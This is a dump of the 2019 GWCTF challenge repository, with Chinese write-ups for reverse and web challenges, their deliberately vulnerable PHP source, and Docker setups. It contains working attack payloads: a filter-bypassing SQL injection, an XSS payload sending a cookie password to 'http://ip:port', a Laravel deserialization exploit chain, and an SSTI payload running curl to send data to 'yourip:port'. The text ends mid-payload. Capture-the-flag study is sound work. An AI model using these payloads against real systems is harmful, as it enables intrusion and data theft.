| } 40 | } 41 | //[0x666c61,0x677b72,0x655f69,0x735f67,0x726561,0x74217d] 42 | //flag{re_is_great!} 43 | ``` 44 | 45 | -------------------------------------------------------------------------------- /wp/reverse/xxor/bin/xxor: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gwht/2019GWCTF/26201e36fc30202197826274a3b5ee32c5395e4a/wp/reverse/xxor/bin/xxor -------------------------------------------------------------------------------- /wp/reverse/xxor/exp/exp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gwht/2019GWCTF/26201e36fc30202197826274a3b5ee32c5395e4a/wp/reverse/xxor/exp/exp -------------------------------------------------------------------------------- /wp/reverse/xxor/exp/exp.c: -------------------------------------------------------------------------------- 1 | //gcc -o exp exp.c 2 | #include 3 | #include 4 | uint32_t v[2]={0,0},k[4]={2,2,3,4}; 5 | void decrypt (uint32_t* v, uint32_t* k) { 6 | uint32_t v0=v[0], v1=v[1], sum=0x62F35080, i; /* set up */ 7 | uint32_t delta=0x458BCD42; /* a key schedule constant */ 8 | uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */ 9 | for (i=0; i<64; i++) { /* basic cycle start */ 10 | v1 -= ((((v0<<6) + k2) ^ (v0 + sum + 20) ^ ((v0>>9) + k3))^0x10); 11 | v0 -= ((((v1<<6) + k0) ^ (v1 + sum + 11) ^ ((v1>>9) + k1))^0x20); 12 | sum -= delta; 13 | } /* end cycle */ 14 | v[0]=v0; v[1]=v1; 15 | } 16 | 17 | int main() 18 | { 19 | uint32_t v10[10]={0xdf48ef7e,0x20caacf4,0xe0f30fd5,0x5c50d8d6,0x9e1bde2d,0x84f30420}; 20 | for(int i=0;i<5;i=i+2 ) 21 | { 22 | v[0] = v10[i]; 23 | v[1] = v10[i+1]; 24 | decrypt(v, k); 25 | printf("解密后的数据:%x %x\n",v[0],v[1]); 26 | } 27 | } 28 | 29 | // 0x666c61,0x677b72,0x655f69,0x735f67,0x726561,0x74217d 30 | 31 | // 6712417、6781810、6643561、7561063、7497057、7610749 32 | 33 | // 0xdf48ef7e、0x20caacf4、0xe0f30fd5、0x5c50d8d6、0x9e1bde2d、0x84f30420 -------------------------------------------------------------------------------- /wp/reverse/xxor/source/xxor.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | uint32_t v[2]={0,0},k[4]={2,2,3,4}; 4 | //加密函数 5 | void encrypt (uint32_t* v, uint32_t* k) { 6 | uint32_t v0=v[0], v1=v[1], sum=0, i; /* set up */ 7 | uint32_t delta=0x458BCD42; /* a key schedule constant */ 8 | uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */ 9 | for (i=0; i < 64; i++) { /* basic cycle start */ 10 | sum += delta; 11 | v0 += ((((v1<<6) + k0) ^ (v1 + sum + 11) ^ ((v1>>9) + k1))^0x20); 12 | v1 += ((((v0<<6) + k2) ^ (v0 + sum + 20) ^ ((v0>>9) + k3))^0x10); 13 | } /* end cycle */ 14 | v[0]=v0; v[1]=v1; 15 | } 16 | int check(uint32_t* v3) 17 | { 18 | 19 | long long int a = v3[2] - v3[3]; 20 | long long int b = v3[3] + v3[4]; 21 | long long int c = v3[2] - v3[4]; 22 | if(a==0x84a236ff&&b==0xfa6cb703&&c==0x42d731a8) 23 | { 24 | if(v3[0]==0xdf48ef7e&&v3[5]==0x84f30420&&v3[1]==0x20caacf4) 25 | { 26 | puts("good!"); 27 | return 1; 28 | } 29 | else 30 | { 31 | puts("Wrong!"); 32 | return 0; 33 | } 34 | } 35 | else 36 | { 37 | puts("Wrong!"); 38 | return 0; 39 | } 40 | } 41 | int main() 42 | { 43 | puts("Let us play a game?"); 44 | puts("you have six chances to input"); 45 | puts("Come on!"); 46 | uint32_t v10[10]={0,0,0,0,0,0}; 47 | for(int j=0;j<6;j++) 48 | { 49 | printf("%s","input: ",j); 50 | scanf("%d",&v10[j]); 51 | } 52 | uint32_t v20[10]={0,0,0,0,0,0}; 53 | for(int i=0;i<5;i=i+2 ) 54 | { 55 | v[0] = v10[i]; 56 | v[1] = v10[i+1]; 57 | 58 | encrypt(v, k); 59 | v20[i] = v[0]; 60 | v20[i+1] = v[1]; 61 | } 62 | if(check(v20)==1) 63 | { 64 | puts("Congratulation!\n"); 65 | puts("You seccess half\n"); 66 | puts("Do not forget to change input to hex and combine~\n"); 67 | puts("ByeBye"); 68 | } 69 | else 70 | { 71 | puts("NO NO NO~ "); 72 | exit(0); 73 | } 74 | return 0; 75 | } 76 | // gcc -s -o xxor xxor.c 77 | // 0x666c61,0x677b72,0x655f69,0x735f67,0x726561,0x74217d 78 | 79 | // 6712417、6781810、6643561、7561063、7497057、7610749 80 | 81 | // 0xdf48ef7e、0x20caacf4、0xe0f30fd5、0x5c50d8d6、0x9e1bde2d、0x84f30420 -------------------------------------------------------------------------------- /wp/web/blog/README.md: -------------------------------------------------------------------------------- 1 | ## blog 2 | ![1](./img/2.png) 3 | 4 | 注册登陆,尝试文件包含发现提示只有admin能用 5 | 6 | ![2](./img/2.png) 7 | 然后上传文件发现文件名显示在index页面中 8 | 9 | ![3](./img/4.png) 10 | 11 | 于是fuzz一下,发现有空格,select等过滤于是简单的绕过一下 12 | ``` 13 | '+(selselectect(conv(substr(hex((selselectect(GROGROUPUP_CONCONCATCAT(password))frfromom(byte_user))),1,8),16,10)))+' 14 | ``` 15 | 得到密码的一段16进制后在转10进制的数,转码后拼接起来,md5解密一下获得admin的密码 16 | 17 | ![4](./img/5.png) 18 | 19 | 登录admin再次尝试文件包含,但只能包含图片文件 20 | 21 | 22 | 于是上传图片但提示非法ip,然后抓包发现提示了CBC加密同时给了明文与密文的base64加密值,于是解码发现明文为`{"is_admin":true,"ip":false}`,于是进行CBC翻转将ip的值转为1 23 | 24 | ![6](./img/6.png) 25 | 26 | 放入cookie然后进行图片上传,发现传上去的图片进过了二次渲染。于是修改文件头部非文件头部分,写入`system('cat \flag');`,再通过action的文件包含执行获取flag -------------------------------------------------------------------------------- /wp/web/blog/dockerfile/dockerfile.rar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gwht/2019GWCTF/26201e36fc30202197826274a3b5ee32c5395e4a/wp/web/blog/dockerfile/dockerfile.rar -------------------------------------------------------------------------------- /wp/web/blog/img/1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gwht/2019GWCTF/26201e36fc30202197826274a3b5ee32c5395e4a/wp/web/blog/img/1.png -------------------------------------------------------------------------------- /wp/web/blog/img/2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gwht/2019GWCTF/26201e36fc30202197826274a3b5ee32c5395e4a/wp/web/blog/img/2.png -------------------------------------------------------------------------------- /wp/web/blog/img/3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gwht/2019GWCTF/26201e36fc30202197826274a3b5ee32c5395e4a/wp/web/blog/img/3.png -------------------------------------------------------------------------------- /wp/web/blog/img/4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gwht/2019GWCTF/26201e36fc30202197826274a3b5ee32c5395e4a/wp/web/blog/img/4.png -------------------------------------------------------------------------------- /wp/web/blog/img/5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gwht/2019GWCTF/26201e36fc30202197826274a3b5ee32c5395e4a/wp/web/blog/img/5.png -------------------------------------------------------------------------------- /wp/web/blog/img/6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gwht/2019GWCTF/26201e36fc30202197826274a3b5ee32c5395e4a/wp/web/blog/img/6.png -------------------------------------------------------------------------------- /wp/web/mypassword/README.md: -------------------------------------------------------------------------------- 1 | ## mypassword 2 | 打开浏览器,注册登录,提示密码在写在源码中,无法通过sql注入获得 3 | 4 | ![1](./img/1.jpg) 5 | 6 | 打开反馈页面,查看源码发现过滤字符,发现除了cookie以外都能通过插入前面的字符进行绕过 7 | 8 | ``` 9 | if(is_array($feedback)){ 10 | echo ""; 11 | return false; 12 | } 13 | $blacklist = ['_','\'','&','\\','#','%','input','script','iframe','host','onload','onerror','srcdoc','location','svg','form','img','src','getElement','document','cookie']; 14 | foreach ($blacklist as $val) { 15 | while(true){ 16 | if(stripos($feedback,$val) !== false){ 17 | $feedback = str_ireplace($val,"",$feedback); 18 | }else{ 19 | break; 20 | } 21 | } 22 | } 23 | ``` 24 | 25 | 尝试通过引入外部js读取cookie但发现被CSP禁止 26 | 27 | ![2](./img/2.jpg) 28 | 29 | 回到登录界面发现login.js中的记住密码功能会将读取cookie中的password。于是构造一个登录框并且引入login.js提交反馈等待bot点开获得flag 30 | 31 | ``` 32 | 33 | 34 | 35 | 36 | var psw = docucookiement.getcookieElementsByName("password")[0].value; 37 | docucookiement.locacookietion="http://ip:port/?psw="+psw; 38 | 39 | ``` -------------------------------------------------------------------------------- /wp/web/mypassword/dockerfile/app/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM andreisamuilik/php5.5.9-apache2.4-mysql5.5 2 | 3 | COPY run.sh /run.sh 4 | RUN chmod 755 /run.sh 5 | RUN rm -rf /app 6 | COPY app /app/ 7 | COPY flag / 8 | 9 | RUN chmod 755 -R /app 10 | RUN ls -al / | grep app 11 | RUN ls -al /app 12 | COPY sql.sql /tmp/ 13 | RUN chmod 777 -R /tmp 14 | 15 | EXPOSE 80 16 | CMD ["/run.sh"] 17 | 18 | 19 | -------------------------------------------------------------------------------- /wp/web/mypassword/dockerfile/app/app/content.php: -------------------------------------------------------------------------------- 1 | self.location='login.php';"; 9 | exit(); 10 | } 11 | 12 | $user = $_SESSION['user']; 13 | if(!isset($_GET['id'])){ 14 | echo ""; 15 | exit(); 16 | } 17 | $id = $_GET['id']; 18 | 19 | if(!preg_match('/^[1-9][0-9]{0,6}$/',$id)){ 20 | echo ""; 21 | exit(); 22 | } 23 | 24 | $DB = new Db(); 25 | if("admin" == $user){ 26 | $ret = $DB->select('feedback','gwht_feedback',"id = ".$id); 27 | }else{ 28 | $ret = $DB->select('feedback','gwht_feedback',"id = ".$id." and user = '".$user."'"); 29 | } 30 | 31 | if(!$ret){ 32 | echo ""; 33 | exit(); 34 | } 35 | $data = $ret->fetch_row(); 36 | echo "
"; 37 | echo $data[0]; 38 | echo "
"; 39 | ?> -------------------------------------------------------------------------------- /wp/web/mypassword/dockerfile/app/app/db.php: -------------------------------------------------------------------------------- 1 | conn = new mysqli($this->servername, $this->username, $this->password, $this->dbname); 13 | } 14 | 15 | public function __destruct() 16 | { 17 | $this->conn->close(); 18 | } 19 | 20 | public function select($column,$table,$where) { 21 | $sql = 'select '.$column.' from '.$table.' where '.$where.';'; 22 | $ret = $this->conn->query($sql); 23 | return $ret; 24 | } 25 | 26 | public function insert($column,$table,$value) { 27 | $sql = 'insert into '.$table.'('.$column.') values ('.$value.');'; 28 | $ret = $this->conn->query($sql); 29 | return $ret; 30 | } 31 | 32 | public function delete($table,$where){ 33 | $sql = 'delete from '.$table.' where '.$where.';'; 34 | $ret = $this->conn->query($sql); 35 | return $ret; 36 | } 37 | 38 | } -------------------------------------------------------------------------------- /wp/web/mypassword/dockerfile/app/app/delete.php: -------------------------------------------------------------------------------- 1 | self.location='login.php';"; 7 | exit(); 8 | } 9 | 10 | $user = $_SESSION['user']; 11 | if(!isset($_GET['id'])){ 12 | echo ""; 13 | exit(); 14 | } 15 | $id = $_GET['id']; 16 | 17 | if(!preg_match('/^[1-9][0-9]{0,6}$/',$id)){ 18 | echo ""; 19 | exit(); 20 | } 21 | 22 | $DB = new Db(); 23 | $ret = $DB->delete('gwht_feedback',"id = ".$id." and user = '".$user."'"); 24 | if(!$ret){ 25 | echo ""; 26 | exit(); 27 | }else{ 28 | echo ""; 29 | exit(); 30 | } -------------------------------------------------------------------------------- /wp/web/mypassword/dockerfile/app/app/fb.php: -------------------------------------------------------------------------------- 1 | user = $user; 12 | $this->feedback = $feedback; 13 | } 14 | 15 | public function check(){ 16 | if(is_array($this->feedback)){ 17 | echo ""; 18 | return false; 19 | } 20 | $blacklist = ['_','\'','&','\\','#','%','input','script','iframe','host','onload','onerror','srcdoc','location','svg','form','img','src','getElement','document','cookie']; 21 | foreach ($blacklist as $val) { 22 | while(true){ 23 | if(stripos($this->feedback,$val) !== false){ 24 | $this->feedback = str_ireplace($val,"",$this->feedback); 25 | }else{ 26 | break; 27 | } 28 | } 29 | } 30 | return true; 31 | } 32 | 33 | public function submit(){ 34 | $DB = new Db(); 35 | $ret = $DB->insert('`user`,`feedback`','gwht_feedback',"'".$this->user."','".$this->feedback."'"); 36 | if($ret){ 37 | return true; 38 | } 39 | echo ""; 40 | return false; 41 | } 42 | 43 | } -------------------------------------------------------------------------------- /wp/web/mypassword/dockerfile/app/app/feedback.php: -------------------------------------------------------------------------------- 1 | self.location='login.php';"; 7 | exit(); 8 | } 9 | 10 | if(isset($_POST['feedback'])){ 11 | if(!$_POST['feedback']){ 12 | echo ""; 13 | exit(); 14 | } 15 | $user = $_SESSION['user']; 16 | $feedback = $_POST['feedback']; 17 | $fb = new Fb($user,$feedback); 18 | if(!$fb->check()||!$fb->submit()){ 19 | echo ""; 20 | exit(); 21 | }else{ 22 | echo ""; 23 | } 24 | }else{ 25 | ?> 26 |
  • Index
  • 27 |
  • Feedback
  • 28 |
  • List
  • 29 |
  • Logout
  • 30 | 31 | 32 | 33 | 34 | 35 |
    36 |
    37 |

    网站还在开发中,有什么建议请多多提出

    38 | 54 |
    55 |
    56 |
    57 | 58 | 59 |
    60 | 61 |
    62 |
    63 |
    64 | 65 | 66 | 69 | -------------------------------------------------------------------------------- /wp/web/mypassword/dockerfile/app/app/header.php: -------------------------------------------------------------------------------- 1 | 4 | 5 | 6 | 7 | 8 | 9 | 17 | 18 | 19 | 17 |
    18 |
    19 |

    欢迎!

    20 |

    我把密码写进了源码里,注入是不可能注入的了,这辈子都别想注入出来

    21 |
    22 |
    23 | 24 | 25 | 26 | -------------------------------------------------------------------------------- /wp/web/mypassword/dockerfile/app/app/js/login.js: -------------------------------------------------------------------------------- 1 | if (document.cookie && document.cookie != '') { 2 | var cookies = document.cookie.split('; '); 3 | var cookie = {}; 4 | for (var i = 0; i < cookies.length; i++) { 5 | var arr = cookies[i].split('='); 6 | var key = arr[0]; 7 | cookie[key] = arr[1]; 8 | } 9 | if(typeof(cookie['user']) != "undefined" && typeof(cookie['psw']) != "undefined"){ 10 | document.getElementsByName("username")[0].value = cookie['user']; 11 | document.getElementsByName("password")[0].value = cookie['psw']; 12 | } 13 | } -------------------------------------------------------------------------------- /wp/web/mypassword/dockerfile/app/app/list.php: -------------------------------------------------------------------------------- 1 | self.location='login.php';"; 7 | exit(); 8 | } 9 | ?> 10 |
  • Index
  • 11 |
  • Feedback
  • 12 |
  • List
  • 13 |
  • Logout
  • 14 | 15 | 16 | 17 | 18 |
    19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | select('id','gwht_feedback',"1 order by id desc limit 10"); 31 | }else{ 32 | $ret = $DB->select('id','gwht_feedback',"user = '".$user."' order by id desc limit 10"); 33 | } 34 | if($ret){ 35 | ?> 36 | 37 | fetch_row(); 39 | $i = 1; 40 | while($data){ 41 | ?> 42 | 43 |
    #
    self.location='index.php';"; 7 | exit(); 8 | } 9 | 10 | if(isset($_POST['username'])&&isset($_POST['password'])){ 11 | if(!$_POST['username']){ 12 | echo ""; 13 | exit(); 14 | }else if(!$_POST['password']){ 15 | echo ""; 16 | exit(); 17 | } 18 | $users = $_POST['username']; 19 | $psw = $_POST['password']; 20 | $remember = isset($_POST['remember'])?$_POST['remember']:''; 21 | if("admin" == $users){ 22 | $flag = file_get_contents('/flag'); 23 | if($flag == $psw){ 24 | $_SESSION['user'] = 'admin'; 25 | $_SESSION['is_admin'] = 1; 26 | } 27 | }else{ 28 | $user = new User($users,$psw); 29 | if(!$user->check()||!$user->login()){ 30 | echo ""; 31 | exit(); 32 | } 33 | $_SESSION['user'] = $users; 34 | $_SESSION['is_admin'] = 0; 35 | } 36 | if($remember){ 37 | setcookie('user',$users); 38 | setcookie('psw',$psw); 39 | } 40 | echo ""; 41 | }else{ 42 | ?> 43 |
  • Login
  • 44 |
  • Register
  • 45 | 46 | 47 | 48 | 49 |
    50 |
    51 |
    52 |
    53 |
    登录信息
    54 |
    55 |
    56 |
    57 | 58 |
    59 |
    60 | 61 |
    62 |
    63 | 66 |
    67 | 68 |
    69 |
    70 |
    71 |
    72 |
    73 |
    74 | 75 | 76 | 77 | 80 | 81 | -------------------------------------------------------------------------------- /wp/web/mypassword/dockerfile/app/app/logout.php: -------------------------------------------------------------------------------- 1 | 5 | 6 | -------------------------------------------------------------------------------- /wp/web/mypassword/dockerfile/app/app/register.php: -------------------------------------------------------------------------------- 1 | self.location='index.php';"; 7 | exit(); 8 | } 9 | 10 | if(isset($_POST['username'])&&isset($_POST['password'])){ 11 | if(!$_POST['username']){ 12 | echo ""; 13 | exit(); 14 | }else if(!$_POST['password']){ 15 | echo ""; 16 | exit(); 17 | } 18 | $users = $_POST['username']; 19 | $psw = $_POST['password']; 20 | if("admin" == $users){ 21 | echo ""; 22 | exit(); 23 | }else{ 24 | $user = new User($users,$psw); 25 | if(!$user->check()||!$user->exist()||!$user->register()){ 26 | echo ""; 27 | exit(); 28 | } 29 | } 30 | echo ""; 31 | }else{ 32 | ?> 33 |
  • Login
  • 34 |
  • Register
  • 35 | 36 | 37 | 38 | 39 |
    40 |
    41 |
    42 |
    43 |
    注册信息
    44 |
    45 |
    46 |
    47 | 48 |
    49 |
    50 | 51 |
    52 | 53 |
    54 |
    55 |
    56 |
    57 |
    58 |
    59 | 60 | 61 | 64 | 65 | -------------------------------------------------------------------------------- /wp/web/mypassword/dockerfile/app/app/user.php: -------------------------------------------------------------------------------- 1 | users = $users; 12 | $this->psw = $psw; 13 | } 14 | 15 | public function check(){ 16 | if(!preg_match('/^[A-Za-z0-9\-\_]+$/',$this->users)){ 17 | echo ""; 18 | return false; 19 | }else if(!preg_match('/^[A-Za-z0-9\-\_]+$/',$this->psw)){ 20 | echo ""; 21 | return false; 22 | } 23 | return true; 24 | } 25 | 26 | public function login(){ 27 | $DB = new Db(); 28 | $ret = $DB->select('psw','gwht_users',"user = '".$this->users."'"); 29 | if($ret){ 30 | $data = $ret->fetch_row(); 31 | if($data[0] == md5($this->psw)){ 32 | return true; 33 | } 34 | } 35 | echo ""; 36 | return false; 37 | } 38 | 39 | public function exist(){ 40 | $DB = new Db(); 41 | $ret = $DB->select('psw','gwht_users',"user = '".$this->users."'"); 42 | if($ret){ 43 | $data = $ret->fetch_row(); 44 | if($data){ 45 | echo ""; 46 | return false; 47 | } 48 | } 49 | return true; 50 | } 51 | 52 | public function register(){ 53 | $DB = new Db(); 54 | $ret = $DB->insert('`user`,`psw`','gwht_users',"'".$this->users."','".md5($this->psw)."'"); 55 | if($ret){ 56 | return true; 57 | } 58 | echo ""; 59 | return false; 60 | } 61 | 62 | } -------------------------------------------------------------------------------- /wp/web/mypassword/dockerfile/app/flag: -------------------------------------------------------------------------------- 1 | gwht{f12577536b97e0a64756b1f5d85bae4f} -------------------------------------------------------------------------------- /wp/web/mypassword/dockerfile/app/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | if [ "$ALLOW_OVERRIDE" = "**False**" ]; then 3 | unset ALLOW_OVERRIDE 4 | else 5 | sed -i "s/AllowOverride None/AllowOverride All/g" /etc/apache2/apache2.conf 6 | a2enmod rewrite 7 | fi 8 | 9 | 10 | ### 11 | echo " bash mysql_peizhi.sh" 12 | service mysql start 13 | sleep 5 14 | mysql -uroot -proot < /tmp/sql.sql 15 | mysql -uroot -proot -e "update mysql.user set password=password('rootpassword') where user='root';FLUSH PRIVILEGES;" 16 | rm -rf /tmp/* 17 | 18 | # feiyuqi_fangzhi 19 | sed -i "s/;session.upload_progress.enabled = On/session.upload_progress.enabled = Off/g" /etc/php5/cli/php.ini 20 | sed -i "s/;session.upload_progress.enabled = On/session.upload_progress.enabled = Off/g" /etc/php5/apache2/php.ini 21 | 22 | cd /etc/php5/apache2/conf.d/ 23 | rm 20-xdebug.ini 24 | rm 20-memcached.ini 25 | rm 20-memcache.ini 26 | 27 | service apache2 start 28 | sleep 2 29 | service mysql restart 30 | sleep 2 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | while [[ 1 ]]; do 44 | sleep 200 45 | #statements 46 | done 47 | 48 | 49 | -------------------------------------------------------------------------------- /wp/web/mypassword/dockerfile/app/sql.sql: -------------------------------------------------------------------------------- 1 | CREATE database gwhtctf; 2 | use gwhtctf; 3 | create table gwht_users (user varchar(50),psw varchar(50)); 4 | create table gwht_feedback (id int PRIMARY KEY AUTO_INCREMENT,user varchar(50),feedback text CHARACTER SET utf8mb4); 5 | CREATE USER 'gwhtK0T0R1'@'localhost' IDENTIFIED BY '7a6e3af0b'; 6 | grant all privileges on `gwhtctf`.* to 'gwhtK0T0R1'@'%' identified by '7a6e3af0b'; -------------------------------------------------------------------------------- /wp/web/mypassword/dockerfile/bot/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:latest 2 | 3 | RUN apt-get update 4 | RUN apt-get install cron && \ 5 | apt-get install python3 -y && \ 6 | apt-get install python3-pip -y 7 | RUN pip3 install selenium==2.48.0 8 | 9 | COPY bot.py / 10 | COPY flag / 11 | COPY crontabfile / 12 | COPY run.sh / 13 | 14 | RUN crontab /crontabfile 15 | RUN apt-get -y install rsyslog 16 | RUN cp /crontabfile /etc/crontab 17 | RUN touch /var/log/cron.log 18 | RUN chmod +x /run.sh 19 | 20 | CMD ["bash","/run.sh"] -------------------------------------------------------------------------------- /wp/web/mypassword/dockerfile/bot/bot.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | 4 | from selenium import webdriver 5 | import time 6 | 7 | from selenium.webdriver.common.keys import Keys 8 | from selenium.webdriver.common.desired_capabilities import DesiredCapabilities 9 | 10 | driver = webdriver.Remote(command_executor='http://172.30.1.33:8910',desired_capabilities=DesiredCapabilities.PHANTOMJS) 11 | f = open("/flag",'r') 12 | flag = f.read() 13 | f.close() 14 | 15 | driver.get("http://password.gwht.io/login.php") 16 | driver.find_element_by_name('username').send_keys("admin") 17 | driver.find_element_by_name('password').send_keys(flag) 18 | driver.find_element_by_name('remember').click() 19 | data = driver.find_element_by_class_name('btn').click() 20 | time.sleep(1) 21 | 22 | driver.get("http://password.gwht.io/list.php") 23 | lists = driver.find_elements_by_class_name('col-md-3') 24 | lists.pop(0); 25 | a = [] 26 | for li in lists: 27 | a.append(li.find_element_by_tag_name("a").get_attribute('href')) 28 | 29 | for href in a: 30 | driver.get(href) 31 | time.sleep(1) 32 | 33 | driver.quit() -------------------------------------------------------------------------------- /wp/web/mypassword/dockerfile/bot/crontabfile: -------------------------------------------------------------------------------- 1 | */1 * * * * /usr/bin/python3 /bot.py 2 | -------------------------------------------------------------------------------- /wp/web/mypassword/dockerfile/bot/flag: -------------------------------------------------------------------------------- 1 | gwht{f12577536b97e0a64756b1f5d85bae4f} -------------------------------------------------------------------------------- /wp/web/mypassword/dockerfile/bot/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | rsyslogd 3 | cron 4 | touch /var/log/cron.log 5 | tail -F /var/log/syslog /var/log/cron.log 6 | -------------------------------------------------------------------------------- /wp/web/mypassword/dockerfile/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '2.4' 2 | services: 3 | bot: 4 | build: ./bot 5 | ports: 6 | - "127.0.0.1:12450:80" 7 | networks: 8 | testing_net: 9 | ipv4_address: 172.30.1.10 10 | extra_hosts: 11 | - "password.gwht.io:172.30.1.80" 12 | phantomjs: 13 | image: wernight/phantomjs 14 | ports: 15 | - "8910:8910" 16 | restart: always 17 | command: phantomjs --webdriver=8910 18 | networks: 19 | testing_net: 20 | ipv4_address: 172.30.1.33 21 | extra_hosts: 22 | - "password.gwht.io:172.30.1.80" 23 | app: 24 | build: ./app 25 | ports: 26 | - "8127:80" 27 | networks: 28 | testing_net: 29 | ipv4_address: 172.30.1.80 30 | networks: 31 | testing_net: 32 | ipam: 33 | driver: default 34 | config: 35 | - subnet: 172.30.0.0/16 -------------------------------------------------------------------------------- /wp/web/mypassword/img/1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gwht/2019GWCTF/26201e36fc30202197826274a3b5ee32c5395e4a/wp/web/mypassword/img/1.jpg -------------------------------------------------------------------------------- /wp/web/mypassword/img/2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gwht/2019GWCTF/26201e36fc30202197826274a3b5ee32c5395e4a/wp/web/mypassword/img/2.jpg -------------------------------------------------------------------------------- /wp/web/warmup/README.md: -------------------------------------------------------------------------------- 1 | ## warmup 2 | 先看robots.txt可以看到一小段加密程序 3 | ![](/img/1.png) 4 | 访问u_c4nNot_s3e_me能拿下一份二进制文件,逆向简单加密算法就能拿到源码了 5 | ```python 6 | with open("u_c4nNot_s3e_me","rb") as f: 7 | a = f.read() 8 | l = len(a) 9 | a = map(ord,a) 10 | for i in range(l-1,0,-1): 11 | a[i-1] = a[i-1]^a[i] 12 | code = '' 13 | for i in range(l): 14 | num = (a[i]-i) % 128 15 | code += chr(num) 16 | print code 17 | ``` 18 | 解密以后就是这部分源码 19 | ```php 20 | event = $event; 33 | $this->events = $events; 34 | } 35 | } 36 | } 37 | 38 | namespace Illuminate\Bus{ 39 | class Dispatcher{ 40 | protected $queueResolver; 41 | function __construct($queueResolver) 42 | { 43 | $this->queueResolver = $queueResolver; 44 | } 45 | } 46 | } 47 | 48 | namespace Illuminate\Broadcasting{ 49 | class BroadcastEvent{ 50 | protected $connection; 51 | function __construct($connection) 52 | { 53 | $this->connection = $connection; 54 | } 55 | } 56 | } 57 | 58 | namespace Mockery\Loader{ 59 | class EvalLoader{ 60 | public function load(MockDefinition $definition) 61 | {} 62 | } 63 | } 64 | 65 | namespace Mockery\Generator{ 66 | class MockDefinition{ 67 | protected $config; 68 | protected $code; 69 | function __construct($config) 70 | { 71 | $this->config = $config; 72 | } 73 | } 74 | class MockConfiguration{ 75 | protected $name; 76 | function __construct() 77 | { 78 | $this->name = "abcd"; 79 | } 80 | } 81 | } 82 | 83 | namespace { 84 | $EvalLoader = new Mockery\Loader\EvalLoader(); 85 | $queueResolver = [$EvalLoader,"load"]; 86 | $MockConfiguration = new Mockery\Generator\MockConfiguration(); 87 | $MockDefinition = new Mockery\Generator\MockDefinition($MockConfiguration); 88 | $BroadcastEvent = new Illuminate\Broadcasting\BroadcastEvent($MockDefinition); 89 | $Dispatcher = new Illuminate\Bus\Dispatcher($queueResolver); 90 | $PendingBroadcast = new Illuminate\Broadcasting\PendingBroadcast($BroadcastEvent, $Dispatcher); 91 | echo urlencode(serialize($PendingBroadcast)); 92 | } 93 | ``` 94 | ![](./img/2.png) 95 | 可以执行命令,读一下flag 96 | ![](./img/3.png) 97 | 然后发现是fake_flag... 98 | 估计是要看下内网,ip a看下网络 99 | ![](./img/4.png) 100 | 有个192.168.0.3/20,看下80服务能找到 101 | ![](./img/5.png) 102 | 然后就是做简单rsa题就出flag了 103 | key是227104485496386719944837215776122348051 104 | ![](./img/6.png) -------------------------------------------------------------------------------- /wp/web/warmup/docker/dockerfile.rar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gwht/2019GWCTF/26201e36fc30202197826274a3b5ee32c5395e4a/wp/web/warmup/docker/dockerfile.rar -------------------------------------------------------------------------------- /wp/web/warmup/img/1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gwht/2019GWCTF/26201e36fc30202197826274a3b5ee32c5395e4a/wp/web/warmup/img/1.png -------------------------------------------------------------------------------- /wp/web/warmup/img/2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gwht/2019GWCTF/26201e36fc30202197826274a3b5ee32c5395e4a/wp/web/warmup/img/2.png -------------------------------------------------------------------------------- /wp/web/warmup/img/3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gwht/2019GWCTF/26201e36fc30202197826274a3b5ee32c5395e4a/wp/web/warmup/img/3.png -------------------------------------------------------------------------------- /wp/web/warmup/img/4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gwht/2019GWCTF/26201e36fc30202197826274a3b5ee32c5395e4a/wp/web/warmup/img/4.png -------------------------------------------------------------------------------- /wp/web/warmup/img/5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gwht/2019GWCTF/26201e36fc30202197826274a3b5ee32c5395e4a/wp/web/warmup/img/5.png -------------------------------------------------------------------------------- /wp/web/warmup/img/6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gwht/2019GWCTF/26201e36fc30202197826274a3b5ee32c5395e4a/wp/web/warmup/img/6.png -------------------------------------------------------------------------------- /wp/web/你的名字/README.md: -------------------------------------------------------------------------------- 1 | # 你的名字 2 | 输入数据有回显,看返回头是python写的后台,猜测有SSTI(加了个php模式的报错和index.php路由不知道有没有骗到某个师傅--) 3 | 然后接下来是绕WAF,我写了两个过滤,一个强过滤是匹配`{{`和`}}`,目的是想让各位师傅用远程SSTI把flag打到自己服务器上。 4 | 5 | 然后是一个简单的单词匹配过滤os等敏感字符,只要FUZZ一下,再实验一下,会找到config这个大多数poc都用不上且过滤排在较后,可以用来绕过过滤。 6 | 7 | 服务器监听 8 | `nv -lvp port 9 | ` 10 | 11 | 根目录查flag: 12 | `{% iconfigf ''.__claconfigss__.__mconfigro__[2].__subclasconfigses__()[59].__init__.func_glconfigobals.linecconfigache.oconfigs.popconfigen('curl http://yourip:port/ -d `ls / | grep flag`;') %}1{% endiconfigf %}` 13 | 读flag: 14 | `{% iconfigf 